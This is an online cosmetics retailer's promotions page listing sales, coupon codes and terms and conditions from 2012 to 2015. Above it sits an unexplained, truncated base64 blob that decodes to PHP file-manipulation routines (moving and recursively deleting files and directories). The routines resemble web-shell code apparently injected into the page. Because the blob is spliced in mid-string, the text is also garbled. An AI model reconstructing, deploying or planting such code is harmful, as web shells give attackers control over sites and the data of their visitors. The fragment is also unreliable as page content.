VE9SO30KICAgICAgICBpZiAoc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7 JHQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAgICAgICAgcmV0dXJuIGZzX21vdmVfZGlyKCRk LCR0KTsKICAgICAgfQogICAgICBlbHNlaWYgKGlzX2ZpbGUoJGQpKSB7CiAgICAgICAgaWYoY29w eSgkZCwkdCkpIHtyZXR1cm4gdW5saW5rKCRkKTt9CiAgICAgICAgZWxzZSB7dW5saW5rKCR0KTsg cmV0dXJuIEZBTFNFO30KICAgICAgfQogICAgICBlbHNlIHtyZXR1cm4gRkFMU0U7fQogICAgfQog IH0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1kaXIiKSkgewogICAgZnVuY3Rpb24gZnNf cm1kaXIoJGQpIHsKICAgICAgJGggPSBvcGVuZGlyKCRkKTsKICAgICAgd2hpbGUgKCgkbyA9IHJl YWRkaXIoJGgpKSAhPT0gRkFMU0UpIHsKICAgICAgICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAh PSAiLi4iKSkgewogICAgICAgICAgaWYgKCFpc19kaXIoJGQuJG8pKSB7dW5saW5rKCRkLiRvKTt9 CiAgICAgICAgICBlbHNlIHtmc19ybWRpcigkZC4kby5ESVJFQ1RPUllfU0VQQVJBVE9SKTsgcm1k aXIoJGQuJG8pO30KICAgICAgICB9CiAgICAgIH0KICAgICAgY2xvc2VkaXIoJGgpOwogICAgICBy bWRpcigkZCk7CiAgICAgIHJldHVybiAhaXNfZGlyKCRkKTsKICAgIH0KICB9CiAgaWYgKCFmdW5j dGlvbl9leGlzdHMoImZzX3Jtb2JqIikpIHsKICAgIGZ1bmN0aW9uIGZzX3Jtb2JqKCRvKSB7CiAg ICAgICRvID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRvKTsKICAgICAg aWYgKGlzX2RpcigkbykpIHsKICAgICAgICBpZiAoc3Vic3RyKCRvLC0xKSAhPSBESVJFQ1RPUllf U0VQQVJBVE9SKSB7JG8gLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAgICAgICAgcmV0dXJuIGZz X3JtZGlyKCRvKTsKICAgICAgfQogICAgICBlbHNlaWYgKGlzX2Z

Promos & Discounts

Make sure you're signed up to our Facebook page and to our newsletter mailing list to get the most up to date information about our offers!

 


UNESCO Weekend PWP deals

 

rural women's day     poverty day    handwashing day

 

These important causes deserve at least a little spotlight and they are in fact all so close to our hearts....  We've put some of our products on PWP for a limited time!

mandcond 500bug shield lotion     red days fem washhand soap 200ml

 

 

 

 

 

 

 

 

 

Natural hand soap (citrus 200ml only on promo) - NOW ONLY RM10.90 (NP: RM 19.90)

 

Feminine Wash Protection for Red Days - NOW ONLY RM12.90 (NP: RM 22.90)

 

Bug Shield Lotion (only SALE stock eligible) - NOW ONLY RM8.90 (NP: RM18.90)

 

Mandarin conditioner 500ml (only SALE stock eligible) - NOW ONLY RM22.90 (NP: RM46.90)

 

 

*     *     *     *     *

 

 

Some terms and conditions you'll surely want to keep in mind:

 

Make sure you're signed in with a username and password 

 

These deals are only valid on our site www.humannaturemalaysia.com

 

Deals are valid starting TODAY until 20 Oct 2015 or while stocks last.

 

Free shipping rules still apply for courier deliveries within Malaysia.

 

Orders must be worth RM80 and above to be eligible for PWP prices.

 

Each customer can get maximum 2 pcs of each item at PWP prices.

 

Only Bug Shield Lotion on SALE and Mandarin Conditioner 500ml on SALE will be given PWP discounts.

 

Only CITRUS hand soap 200ml will be given PWP discount.

 

Some SALE products may have shorter remaining shelf lives.  Please inquire if you need further information.

 

Human Nature Malaysia and Down to Earth reserve the right to cancel an order and refund amount paid in full should any technical errors arise that result in the promos not being executed as programmed on our site.

 

Other T&Cs apply.  Please get in touch for further information.

 

 

 

#MYCYBERSALE 2015 now on!

 

Keep your eyes peeled on our site for irresistible deals for #MYCYBERSALE this year.  Contact us if you need more information.

 

mcs free gift     rm40 voucher mcs

 

Some terms and conditions you'll surely want to keep in mind:

 

Make sure you're signed in with a username and password 

 

These deals are only valid on our site www.humannaturemalaysia.com (please use a desktop to place your order)

 

Deals are valid starting TODAY until 20 July or while stocks last.

 

Free shipping rules still apply for courier deliveries nationwide.

 

Some SALE products may have shorter remaining shelf lives.  Please inquire if you need further information.

 

Human Nature Malaysia and Down to Earth reserve the right to cancel an order and refund amount paid in full should any technical errors arise that result in the promos not being executed as programmed on our site.

 

Other T&Cs apply.  Please get in touch for further information.

 

 


Hari Raya Deals

raya 2015 promo

Some terms and conditions you'll surely want to keep in mind:

Make sure you're signed in with a username and password 

These deals are only valid on our site www.humannaturemalaysia.com (please use a desktop to place your order)

Deals are valid starting TODAY until 20 July or while stocks last.

Free shipping rules still apply for courier deliveries nationwide.

Some SALE products may have shorter remaining shelf lives.  Please inquire if you need further information.

Human Nature Malaysia and Down to Earth reserve the right to cancel an order and refund amount paid in full should any technical errors arise that result in the promos not being executed as programmed on our site.

Other T&Cs apply.  Please get in touch for further information.

 

Mother's Day 2015 sale

mother's day 2015 fb cover sale announcement

Promo is only valid for purchases made on www.humannaturemalaysia.com

You must be signed in with a username and password.

Purchases over RM100 will get 20% discount upon checkout.

Enter the coupon code above to apply the discount to your order.

Promo valid from 5-10 May 2015.

Bundles and sets are no longer entitled to any further discount.

Items may be substituted with similar products if your chosen item is sold out.

If the coupon code is used in ways other than those stipulated in the T&Cs above (such as through a technical error), Human Nature Malaysia reserves the right to cancel the order and refund the full payment.

T&Cs may change without prior notice.

 

Giveaway Bonanza!

giveaway in xchg for review

 

giveaway to complete fb cover photo

We have amazing giveaway promos happening right now and it's really simple to get your hands on a mystery prize!

GIVEAWAY BONANZA 1

Write at least 2 product reviews on our site www.humannaturemalaysia.com and get a guaranteed gift worth RM22.90 or more.  If you write 4 or more reviews, we'll upgrade your gift instantly.  Your gift will be allocated to you and sent with your next order.

A few things to note:

1.  The products you review must be products you have purchased in the past, and you can not review a product that you have already previously reviewed.  

2.  One review per item per customer is eligible (each product must only be reviewed once by each customer).

3.  Promo will continue while we have stocks of free gifts or until 31 March, whichever is sooner.  

4.  We only want HONEST reviews please!

GIVEAWAY BONANZA 2

We want to feature YOU on our Facebook page!  Send us a picture of you or your little one with your favourite Human Nature product and we'll give a mystery prize to every chosen photo.  We don't want just product photos - we want you or your little one in it too!  

You can submit your photos via email (info@downtoearth.com.my), via Facebook (on our wall or via PM), or via Whatsapp (016-2632784016-2632784 ).

Please note:

1.  Your picture will be published on our Facebook page.  Submitting a picture will mean that you allow us to do this (we just want to make a collage of our customers with their products!). We will not edit or modify your picture other than to resize it as needed.  

2.  Please ensure the photos are tasteful and decent.  

3.  We reserve the right to choose which photos we want to use on our collage and only those chosen will get the mystery gift.  Our decision is final.

4.  Promo will continue until we have enough pictures for our collage.

 

Money packets promotion

money packets promo

This year we're doing something really special.  In your order, you'll find Human Nature money packets each with a coupon code so you can get a discount next time you order on our website, or you can take it to an authorized Human Nature retailer near you!  Just a few T&Cs you might want to know:

1.  Each money packet entitles you to a fixed cash discount, no matter the item or quantity you buy.  It can be used on bundles and sale items too!  But it can't be used for shipping fees.

2.  You must be signed in with a username and password to use the coupon code on our site.

3.  Each customer can only use the money packet coupon code once to avail of the discount.

4.  Coupon code is only valid from 1 April 2015 onwards, so hold on to those packets!  26 Feb 2015 so use them NOW!

5.  You must bring the Human Nature money packet to the authorized retailer to avail of the discount (which can only be used on a Human Nature product), and make sure you fill in the form when you're there!  It's a short form we promise :-)

6.  The coupon code is only valid on www.humannaturemalaysia.com and not any other online retailer sites that carry Human Nature products.

7.  Money packets will be distributed only while stocks last.

8.  If you are unsure about any of these, please don't hesitate to ask for more details so you can give your friends and family the correct information when you give out ang pao this year!

9.  If the coupon code is not used as intended, either due to a technical glitch, or any other reason, Human Nature Malaysia (Down to Earth Enterprise) has the right to cancel the order and refund the customer the full amount paid.

 

Get a FREE Hydrating toner (100ml) with every purchase of Hydrating Creamy Wash (200ml)

Enjoy finer pores and deeply cleansed skin just by including toner in your daily skin care regimen!  It's great for prepping your skin to absorb moisturizer and serum too. 

hydra wash + free toner

 

Limited units on SALE.... while stocks last!

*stocks on sale may have shorter remaining shelf lives - its the perfect time to try!*

hair shaper on sale

 

October FLASH GIVEAWAY!

oct flash giveaway

 

One day only to celebrate Deepavali (22 Oct) and Breast Cancer Prevention Month this October

For every order of RM120 and above, you'll get a FREE Blossom Beauty lotion 50ml (NP:  RM13.90) - only 8 bottles to give away!

For every order of RM150 and above, you'll get a FREE Chamomile FRESH feminine wash 50ml (NP:  RM13.90) - only 5 bottles to give away!

For every order of RM180 and above, you'll get a FREE Happy pink women's deodorant (NP:  RM13.90) - only 8 to give away!

For every order of RM200 and above, you'll get a FREE MammoME Natural Body Wash 200ml (NP:  RM29.90) - only 4 to give away!

 

MYCyberSALE promo!!

We were authorized by the Malaysian government to be a participating retailer in this world first initiative.... so here's what we've got for you!  Valid from 29 Sept until 1 Oct 2014 only. We are playing by their rules this time so we dont expect to extend this promo as we simply wont be allowed.  Get your order in now!

Should stocks run low, we expect to be able to ship out in 7-10 days but we assure you the products are worth the wait!

 

mcs promo

Merdeka Madness!

We're putting a lot of our items on promo AGAIN!  Not bundles this time, but individual items including your favourite 500ml kids shampoo and body wash!  This time, you pay only 57% of the full price and as usual, stocks are limited so once they're gone, they're gone!  The promo will end 16 Sept or when stocks run out.

Feast your eyes on this long list of what's included in our promo:

  • Mandarin shampoo 200ml
  • Mandarin conditioner 500ml
  • Vanilla conditioner 200ml
  • Vanilla conditioner 500ml
  • Aloe conditioner 200ml
  • Aloe conditioner 500ml
  • Sunflower cleansing oil 200ml - your all natural makeup remover, even on waterproof makeup!
  • Cool burst spray sanitizer 50ml
  • Hydrating facial wash 200ml
  • Hydrating toner 100ml
  • Nourishing toner 100ml
  • Day moisturizer for face 50ml
  • Night moisturizer for face 50ml
  • Strawberry hand and foot salve 50ml
  • Eucalyptus hand and foot salve 50ml
  • Baby Oil 100ml
  • Kids shampoo and body wash 500ml
  • Women's roll on deo (happy pink and powder fresh) 50ml

Remember it all ends 16 Sept (that's Malaysia Day!) or when stocks run out so we recommend you place your order asap. You'll only pay 57% of the full price in celebration of Malaysia's 57th year of Independence, and we'll still ship to your door for FREE*.... There's almost nothing to lose!

There are no other terms and conditions, but you should know that some of these products have shorter shelf lives than normal (but still perfectly good for use for even 6-8 weeks after the marked expiry date as long as they are stored correctly).  if you need more details on expiry dates, please email us and we'll happily give you the information you need.

 

BUNDLE FEVER PROMO NOW ON!

UPDATE:  Balancing facial care bundle is back ON the promo!  We still dont have stock but we didnt want to disappoint those who wanted to take advantage of the promo so please bear with us while your delivery is slightly delayed.  We will send out your orders as soon as possible.  In the meantime, please place your orders asap to ensure you have stock allocated for you.

We've done lots of different promos in the past but we've never had one that's dedicated to BUNDLES.  Today's the day!

It's fairly simple.  The details for this very generous promo are:

Bundle on promo If you get.. We'll give you....
Nourishing facial care bundle 1 set 200ml toner instead of 100ml
  2 sets 200ml toner for both sets PLUS 10pcs dry sheet face mask*
Balancing facial care bundle 1 set Purifying strawberry facial scrub at just RM10.90
  2 sets 1x FREE strawberry purifying facial scrub
Hydrating facial care bundle 1 set Purifying strawberry facial scrub at just RM10.90
  2 sets 1x FREE strawberry purifying facial scrub
Men's bundle 1 set 1x Pure Strength Hair Shaper at RM5.90
Men's XL bundle 1 set 1x FREE Pure Strength Hair Shaper
Baby Love XL bundle 1 set 1x FREE Cool Burst Spray Sanitizer
Any hair care pair 200ml 2 sets 1x FREE 200ml MANDARIN moisturizing shampoo**
Any hair care pair 500ml 2 sets 1x FREE 500ml VANILLA moisturizing shampoo**

* The toner can be used with the dry sheet mask to create a face mask.  Use a small, clean container and soak one sheet mask in the toner until it has absorbed enough.  Unfold the compressed sheet mask and place it on the face while you relax deeply for 5-10min, once or twice a week. 

** Wondering what to do with that extra bottle? Our moisturizing shampoos are also wonderful body washes.  Gentle, non drying and good for your skin.  We really want you to experience it.  Of course you can pass it on to a friend too!

 

Some things to remember:

You must be logged in to enjoy this promo.  If you dont have an account with us yet, just create one!  It's fast and free, and really helpful for future purchases.

Offer is good from1 Aug until 31 Aug BUT if stock runs out before then, the promo abruptly ends so dont delay your order!

Shipping fees remain unchanged (extra RM5 for 1 item, extra RM3 for 2 items and free for 3 items and above, all over Malaysia)

Some products may have less than 6 months remaining shelf life.  Please get in touch if you need more details before placing your order.

 

BUKA PUASA TREAT ON US!

The Ramadhan season is finally upon us and we want to give you a buka puasa treat... It's on us!

For every purchase of   RM120of any items on our site (INCLUDING bundles and hair care pairs), we're giving you a voucher for a KFC meal!  And we'll throw in another one when you write 2 reviews (for 2 different products) on our website.  Seriously!

We're quite eager to give these away so we're making it very easy, but this promo is only on while stocks last, so when the vouchers are gone, the promo abruptly ends.  Order anytime starting today!

1. Sign in with a username and password on our site. If you've not got one yet just create an account, it's fast and free.

2.  Write 2 reviews or more on our website - www.humannaturemalaysia.com.  Make sure it's products you've used before as we only want honest opinions.

3.  Place an order for RM120 worth of any items (INCLUDING bundles and hair care pairs) on our website, via phone, via whatsapp, via FB, via SMS.....

4.  Drop us a message with your name and order number so we can look out for your reviews and order in our system.

5.  Open your pack when you receive your products and enjoy your vouchers!

The vouchers are valid until Sept 2014 and valid at all restaurants in Peninsular Malaysia (except Genting, Cameron, Medini Mall JB and all airport restaurants).  You'll get 2 pcs chicken, fries, whipped potato and a large soft drink.

 

OFFER!  OFFER!  OFFER!

Order any 3 items and all the items marked OFFER! in your basket will get 10% off (you'll still get FREE shipping)
Order any 4 items and all the items marked OFFER! in your basket will get 15% off (also FREE shipping)
Order any 5 items or more and all the items marked OFFER! in your basket will get 20% off (still with FREE shipping)
All you have to ensure now is:

  • You're signed in with a username and password when you visit the site
  • You place your order before 25 May 2014 (Sun)

 

FREE LIP PALETTE!

To celebrate International Women's Day 2014, we're giving away our lip palettes with any order of RM150 and above (bundles and pairs not included).  Just make sure you're signed in with a username and password and send us that order before 9 Mar 2014.  We'll then send you a voucher to claim your FREE LIP PALETTE in your next order.  Simple as that.  You even get to choose the colour you want, unless you like surprises ;-)  Learn more about our lip palette here.

 

PWP (Puchase-With-Purchase) SPECIALS!

Now you can get up to 2 bottles of our Overnight Elixir at just RM99.90 (RM30 off from the normal price of RM129.90) with a purchase of ANY facial care bundle.  Good thing too, as it's suitable for all skin types!

You can also now get up to 2 bottles of our Natural Smoothing Hair Serum at just RM19.90 (RM10 off from the normal price of RM29.90) with purchase of any hair care BUNDLE*.

All you have to do is make sure you're signed in with a username and password, and the bundle is in the same shopping cart as your chosen PWP item (elixir or item).  The discount should automatically appear in  your total before you checkout. 

This offer is good all the way until 31 Dec 2014!

*hair care pairs are not eligible for PWP items

 

CLEARANCE SALE NOW ON!

We've put some very deep discounts on some of your favourite products!  If you've been eyeing a particular product to try, now might be a good time....  But hurry because once it's gone, it's gone.  We have limited stock only at these prices.  Order now!

**Clearance sale items have shorter remaining shelf life than full priced items**

 

CNY CHEER!

Order any products worth RM188 and above in total and automatically get 18.8% off your total bill! 

(You can order bundles and product pairs to make up the total, but they won't get 18.8% discount.)

All you have to do is make sure you are signed in with a username and password and enter gongxigongxi as your coupon code when prompted upon checkout for the discount to apply.  Spread the word - this coupon code is fully transferable as long as the orders fulfil all the specified requirements.  Coupon code is valid 30 Jan 2014 until 16 Feb 2014.

 

LAUNCHING NEW PRODUCTS!

Sign in with a username and password, get ANY product marked 'NEW!' on our website and you'll 8.8% off your total bill this Chinese New Year!  Just make sure you sign in with a username and password, and enter coupon code 2014new when prompted at checkout, and your discount will magically appear.  Spread the word - this coupon code is fully transferable as long as the orders fulfil all the specified requirements.  Coupon code is valid NOW until 16 Feb 2014.

The products below are eligible for this promo.  Just click on the link to be taken directly to the page to place your order and enjoy your discount.

Baby Love XL bundle (only XL size is eligible)

Tough Love Dishwashing Liquid (all sizes and scents)

Tough Love Laundry Powder

Tough Love Liquid Laundry Detergent

Soothing Balm

Natural Hand Soap (all sizes eligible)

Overnight Elixir our newest proudest innovation!

Scented Cleansing Bars (only Aloe Fresh and Lemon Zest is eligible)

Clarifying Shampoo (all sizes eligible)

 

20.14 YEAR END CHEER!

To celebrate the festive season, we're putting together a little rebate promo to thank you for your support in 2013.  With every purchase of RM100 and above (excluding bundles), from 16 Dec 2013 until 5 Jan 2015, we'll give you a voucher code for a RM20.14 rebate.  All items are eligible for this promo except bundles so get shopping! 

PURE STRENGTH MEN'S CLEANSING BAR - CLEARANCE!

Now is the best tme to try our men's cleansing bar, or get it FREE with an order of RM120 and above! 

RRP:  16.90RM

http://downtoearth.com.my/stuff-for-body/pure-strength-bar.html 

BACK TO BACK HOLIDAYS BRINGS ENDLESS JOY!

With both DEEPAVALI and AWAL MUHARRAM practically back to back this year we didn't want to let the opportunity pass by without joining in the celebrations...  So we decided to give 10% off EVERYTHING on our site - except duo packs and bundles which are already deeply discounted

All you need is to

  • Sign in with a username and password (register if you dont have one yet, it's completely free!)
  • Order at least RM100 worth of any items

Simple as that!  But the promo is only on until 5 Nov so HURRY!

Log on to our website now!

DUO PACKS - updated list!

The DUO PACKS promo continues!  In case you're not yet familiar, ee've selected a few items from our range and if you buy 2 of them, you'll get 10% off the price (compared to buying 2 individually) AND we'll even give 10% of every DUO PACK purchase to charity - so it's 10% off for you and 10% off to charity! 

This year we have chosen to support the HANDICAPPED CHILDREN'S CENTRE in Penang who are in dire need of funds for their expansion.  We hope that you will spread the word to those who might be able to help.

The DUO PACK items are:

 

BUT stocks are limited so get on the website right away before stocks run out!!  Once the allocated stock is gone, it's gone!  In fact, we had peppermint shampoo, balancing facial wash and mango body butter cream 200ml on the list too but stock has already run out.....

No need to sign up with username and password to avail of this promo

Offer is on only until stocks last.  Once it's gone, it's gone!

No limit to how many you can buy as long as stock is available

No voucher code required.  Just select the duo pack option to add to your shopping cart.

Drop us an email or catch us on our live real-time chat if you have any questions!

PLEASE PLEASE PLEASE spread the word so that we can raise as much funds as possible for this worthy cause!

DUO PACKS

Introducing DUO PACKS!  We've selected a few items from our range and if you buy 2 of them, you'll get 10% off the price (compared to buying 2 individually) AND we'll even give 10% of every DUO PACK purchase to charity - so it's 10% off for you and 10% off to charity! 

This year we have chosen to support the HANDICAPPED CHILDREN'S CENTRE in Penang who are in dire need of funds for their expansion.  You can read more about them here - http://hccpenang.blogspot.com/p/about-us.html and we hope that you will spread the word to those who might be able to help.

The DUO PACK items are:

BUT stocks are limited so get on the website right away before stocks run out!!  Once the allocated stock is gone, it's gone!

No need to sign up with username and password to avail of this promo

Offer is on only until stocks last.  Once it's gone, it's gone!

No limit to how many you can buy as long as stock is available

No voucher code required.  Just select the duo pack option to add to your shopping cart.

Drop us an email or catch us on our live real-time chat if you have any questions!

PLEASE PLEASE PLEASE spread the word so that we can raise as much funds as possible for this worthy cause!

 

MERDEKA MADNESS!

We're celebrating the 56th year of Malaysian Independence on 31 Aug and so we thought, while keeping our patriotic spirit fully intact, why not have a little fun at the same time?  Here's how it's gonna work....

1. Place an order online using your username and password to sign in.  If you haven't got on, create one.  It's quick, free and will save you money on your orders!

2.  Check that you have either 5 or 6 items in your cart Any item, any size, any quantity of each. 

(including bundles - each bundle counts as 1 item). 

3.  You'll get a 31% rebate for use on your next order! That's a 31% discount!  We'll send you a coupon code via email before end of Sept 2013. 

(bundles are included in your cart to help make up the total of 5 or 6 items, but they are not eligible for rebate)

4.  Stuck at 5 items?  Push for 6 beacuse that will unlock an instant FREE GIFT for you in your pack on top of the 31% rebate!

Here are a few things you'll want to remember about this promo:

1.  Only orders receved between now and 31 Aug 2013 are eligible for this promo.

2.  You can include bundles in your order to help you make up the total required but we will not count the value of the bundle towards your rebate total.  One bundle is equivalent to ONE item in your shopping cart.

3.  Stocks are limited.  Once they are gone, there is no more allocated stock so HURRY.  New stock will be released only after promo period.

4.  You will get your online coupon code equivalent to 31% of your purchase for use in your next order via email before end of Sept 2013.

5.  Rebate voucher can be used with orders RM100 and above from 1 Oct 2013 to 1 Dec 2013.  They can be passed on to a friend but the customer using the rebate voucher must sign in with a username and password.

6.  If your order is made up of 6 items, you will get a rebate voucher as well as a FREE GIFT!  Free gift minimum value is RM10.90

We definitely got a little creative with this one but we're basically giving you a chance to try a new product, gift a friend or stock up on your favourites at 31% OFF!  Plus a free gift is yours with an order of 6 items!

If there is anything you're not clear about, please contact us anytime and we'd be happy to help.  Remember to HURRY as we only have limited stocks of these items on promo!  Once it's gone, it's gone, until new shipment arrives after the promo period.

 

BUY 2 GET 1 FREE

All you have to do is get 2 bottles of VANILLA SHAMPOO 200ml and you'll get a 200ml VANILLA CONDITIONER ABSOLUTELY FREE!

We're keeping it simple again this time.  Click here to place your order.

No voucher needed.

No offer expiry.

No minimum order required.

Order as much as you want, as often as you want.

While stocks last.

Offer starts right now.

Shampoo expiry - Dec 2013 / Conditioner expiry - Feb 2014

*Offer only applies to Vanilla shampoo 200ml, no other scent, no other size. We will only give Vanilla conditioner 200ml for free, no other scent, no other size.*

 

FREE UPGRADE!

Get 100ml limited edition sunflower beauty oil when you order the standard 50ml bottle.  This offer is only valid while stocks last but it's probably the simplest offer we'll put out there. 

You dont need a voucher code, no offer expiry, and you can order as much as you want, as many times as you want.

Current batch expiry April 2014/Sept 2014.

 

NEW PURE STRENGTH MEN'S SET NOW AVAILABLE

Now only RM59.90 for 100ml Pure Strength Face wash, 200ml Pure Strength shampoo 200ml, Pure Strength Men's Deo and Pure Strength Men's Cleansing Bar!  And if you purchase before Father's Day on 16 June 2013, we'll send it over with a FREE GIFT BAG!  Limited stock available...  Buy here today!

 

INTRODUCING OUR NEWEST ITEMS!

If you see any products marked NEW on our site, now is the perfect time to try them out.  All you have to do is put together an order worth RM60 and up, including any of our NEW items and you'll get 10% off everything (except bundles)!  It's that simple.

Promo valid until 1 April 2013 or until allocated stocks last

Bundles will not get further discount

Minimum of 1 NEW item must be included in the shopping cart

FREE SHIPPING still applies within Malaysia

You must be logged in with a username and password to avail of discounts.

 

GET A FREE BABY!

When you buy 2x Mandarin Moisturizing Shampoo 200ml -->  Get 1x Mandarin Shampoo 50ml and 1x Mandarin Conditioner 50ml absolutely FREE

When you buy 1x Citrus Burst Spray Sanitizer 200ml --> You will get 1x Citrus Burst Spray Sanitizer 50ml absolutely FREE

When you buy 1x Pure Strength Men's Facial Wash 100ml --> You will get 1x Pure Strength Men's Facial Wash 50ml absolutely FREE

When you buy 1x Healthy Lotion Vanilla 200ml --> You will get 1x Healthy Lotion Vanilla 50ml absolutely FREE

When you buy 1x Healthy Lotion Berry 200ml -->  You will get 1x Healthy Lotion Berry 50ml absolutely FREE

When you buy 1x Berry Bliss Body Butter Cream 200g --> You will get 1x Berry Bliss Body Butter Cream 50g absolutely FREE

When you buy 1x Mango Body Butter Cream 200g --> You will get 1x Mango Body Butter Cream 50g absolutely FREE

When you buy 1x Nourishing Facial Wash 200ml --> You will get 1x Nourishing Facial wash 50ml absolutely FREE

 

A few things to remember:

 NO MINIMUM PURCHASE

NO LIMIT TO THE NUMBER OF FREE BABIES YOU CAN GET IN EVERY TRANSACTION

NO VOUCHER CODE NEEDED

VALID UNTIL 15 MARCH 2013 OR UNTIL STOCKS LAST.  When it's gone, it's gone....

FREE SHIPPING STILL APPLIES (within Malaysia)!

 

BUY ONE GET ONE FREE!!!

We're having another of our momentary insanity promos where lots and lots of things are BUY ONE GET ONE FREE!  Check the list and see if any of your favourites are on promo right now.... Or maybe you've always been curious to try something from our range.  Put together a gift set for a friend with our eco-friendly gift bags - and keep that extra free item for yourself....  Now is the perfect time!  

Mango Body Butter Cream 50g

Mango Body Butter Cream 200g

Berry Body Butter Cream 50g

Berry Body Butter Cream 200g

Vanilla Healthy Lotion 200ml (50ml not on promo)

Berry Healthy Lotion 200ml (50ml not on promo)

Bug Shield Lotion 50ml

Hydrating Facial Wash 200ml (50ml not on promo)

Pure Strength Men's Facial Wash 100ml (50ml not on promo)

Rejuvenating Massage Oil 95ml (Calming variant not on promo)

Citrus Burst Spray Sanitizer 200ml (50ml not on promo)

Juicy Burst Spray Sanitizer 200ml (50ml not on promo)

A few things to remember:

Your savings will appear as a discount below your subtotal on your checkout page.  

Minimum purchase of RM60 to avail of the promo.

Enter maximum quantity of '2' for each promo item to get 1 free. 

You can purchase as many different promo items as you like in each transaction.

All promo prices are valid until 1 Mar 2013 or until allocated stocks last.  When it's gone, it's gone!

Customers must be logged in with a username and password to enjoy the discounts.  If you havent got an account with our online store yet, set one up today - it's quick, free and will save you lots of money!

FREE shipping (within Malaysia only) still applies for orders of 3 items or more.  

 

CNY 2013 PROMO DETAILS! - NOW EXTENDED UNTIL 17 FEB 2013!!

With any FACIAL CARE BUNDLE (Hydrating, Balancing or Nourishing), we're giving you a chance to complete your regimen with a STRAWBERRY FACIAL SCRUB at just RM8 (instead of RM16.90)!  The facial scrub is made from bamboo and real(!) strawberry seeds.  Use just 2-3 times a week instead of your regular cleanser, followed by the toner and night cream, and be amazed at your skin's radiant glow the next morning.  It takes away deep seated dirt and removes dead skin cells while keeping the skin soft and smooth (no tight feeling!).  It's great for ALL skin types.  We could go on about this product (it's our personal favourite out of everything we've tried), but we'd rather you try it for yourself.... and let us know what YOU think!    

Just spend RM108 and above, to get 50ml Men's Facial wash at just RM5 (instead of RM13.90) or 100ml Men's Facial Wash at just RM8 (instead of RM 19.90) or Nourishing Facial Wash 50ml at just RM5 (instead of RM13.90).  Our nourishing facial wash is made from tomato extracts and is perfect for normal (not oily, not dry) skin or sensitive skin prone to redness.  It's got a creamy gel texture and leaves your skin feeling squeaky clean after each use, without your face feeling 'pulled tight'.  You can get a maximum of 1 of each promo item per transaction.  RM108 purchase can be made up of any product, or bundle.  

We've not forgotten the little ones - Get your favourite BUG SHIELD lotion at just RM8 (instead of RM16.90) with a KIDDIE FUN BUNDLE or our Baby Wash 500ml (also a great shower gel for adults!)  

When you order a 200ml HEALTHY LOTION in Vanilla or Berry, get one in 50ml for just RM5 (instead of RM11.90).  The 200ml lotion and 50ml lotion dont have to be the same scent so why not try a bit of both?  The 50ml bottle could just be your saviour next time you're on an airplane!  Dont worry about that 'sticky' feeling in the humid Malaysian climate.  Our lotions and creams dont sit on your skin and clog your pores.  They get absorbed by the skin and nourish with antioxidants from within so your skin feels soft, and is a lot healthier, but definitely not sticky, especially in airconditioned offices and cars.  Try it straight out of the shower too for all day silky smoothness!  

Get 200g BODY BUTTER CREAM in Mango or Berry and get a 50ml one for just RM8 (instead of RM16.90).  Pick a different scent for each- you'll love them both!  Take the 50ml one with you on your next trip abroad.  Your skin will thank you.  And again, no sticky feeling when it's applied on your very dry areas like elbows.  

Get the BUBBLY GUM sanitizer for just RM5 (instead of RM13.90) when you get 200ml CITRUS BURST spray sanitizer (Juicy Burst is not included in ths promo).  Keep the big one around the house, keep the small one in your handbag or car - one scent for the young and another for the young at heart, but both work equally well against germs on toys, surfaces, potty seats, and great on hands too!  

A few things to remember about this special promo:

Your savings will appear as a discount below your subtotal on your checkout page. 

Each transaction is only eligible for 1 of each promo item, but each customer can buy as many times as they like during the promo period. 

All discounted prices are valid until 13 Feb 2013 (extended until 17 Feb 2013!) only or until allocated stocks last.  When it's gone, it's gone!

Customers must be logged in with a username and password to enjoy the discounts.  If you havent got an account with our online store yet, set one up today - it's quick, free and will save you lots of money!

FREE shipping (within Malaysia only) still applies for orders of 3 items or more.

 

FIRST YEAR ANNIVERSARY PROMO

22 November is the day we got our very very very first online order one year ago.  We're so grateful for your support.  We know we wouldnt be where we are today without you.  You've come back for regular purchases and have been so kind to spread the word about us.  In appreciation, we're running a promo where:

An order of RM90-RM149.99 gets 5% discount off the total order

An order of RM150-RM249.99 gets 10% discount off the total order

An order of RM250 and above gets 15% discount off the total order

All you have to do is make sure you're logged in with your username and password when you make your order. 

Even bundles and Christmas packs are discounted - but the promo is only valid until 23 Nov (Friday) so hurry! 

You'll still get free delivery within Malaysia!  

 

CHRISTMAS PACKS ARE UP!

Give your loved ones thoughtful gifts to show you care, not just at Christmas but all year round.  Check out our new bundles such as Santa's Samples, Pamper Hamper, Viva Vanilla and many more....  All packs come with an eco friendly reusable gift bag made from natural fibers.  We'll also enclose a flyer so your friends and family know just how special the products are....  

 

10% OFF YOUR WHOLE ORDER!

We're making it really easy to get discounts on your whole order.  Just log in (or create a username and password), place an order for any amount, make sure that order includes 2 NEW! products and you'll magically get a 10% discount at checkout.  Offer only until 14 Oct 2012 or while stocks last.  Happy shopping!

 

OUR CRAZY SALE STARTS NOW!!!

Pretty much everything online is now 15% OFF.  Even clearance items, even sale items.  The only exceptions are BUNDLES and the Nourishing facial care range.  All you have to do is sign in or create an account with a username and password, and shop away!  Your discounts will be automatically calculated upon checkout.  We can only afford to put LIMITED stock on sale.  Once the sale stock is gone, it's back to reality and normal prices so make sure you take advantage of our TEMPORARY INSANITY!  Until 29 Sept 2012 or until stocks last.

 

PRICE SLASH!  WHILE STOCKS LAST!

We are saying goodbye to some old friends like the Hand & Foot Salve in Eucalyptus, some of our massage oils, our unscented body butter, and our passionfruit lotions in Moonlight Passion and Sweet Indulgence so grab them now while stocks last!  Some of them are even on STOCK CLEARANCE prices.  Once they're gone, they're gone so grab 'em while you still can......  

 

FATHER'S DAY PROMO 2012

The price slash for FATHER'S DAY has begun and it's only on from 15-18 June 2012 so grab those products now because when the stock is gone, it's gone!  Your FAVOURITES are deeply discounted - including Strengthening Shampoo 500ml, Strengthening Conditioner 500ml, Balancing Facial Wash, Balancing Facial Care Bundle and many more!

Like our Facebook page to be the first to find out about our promos, or sign up for an account right here on our website and make sure you're registered to get our newsletters.  

 

POST-A-REVIEW PROMO

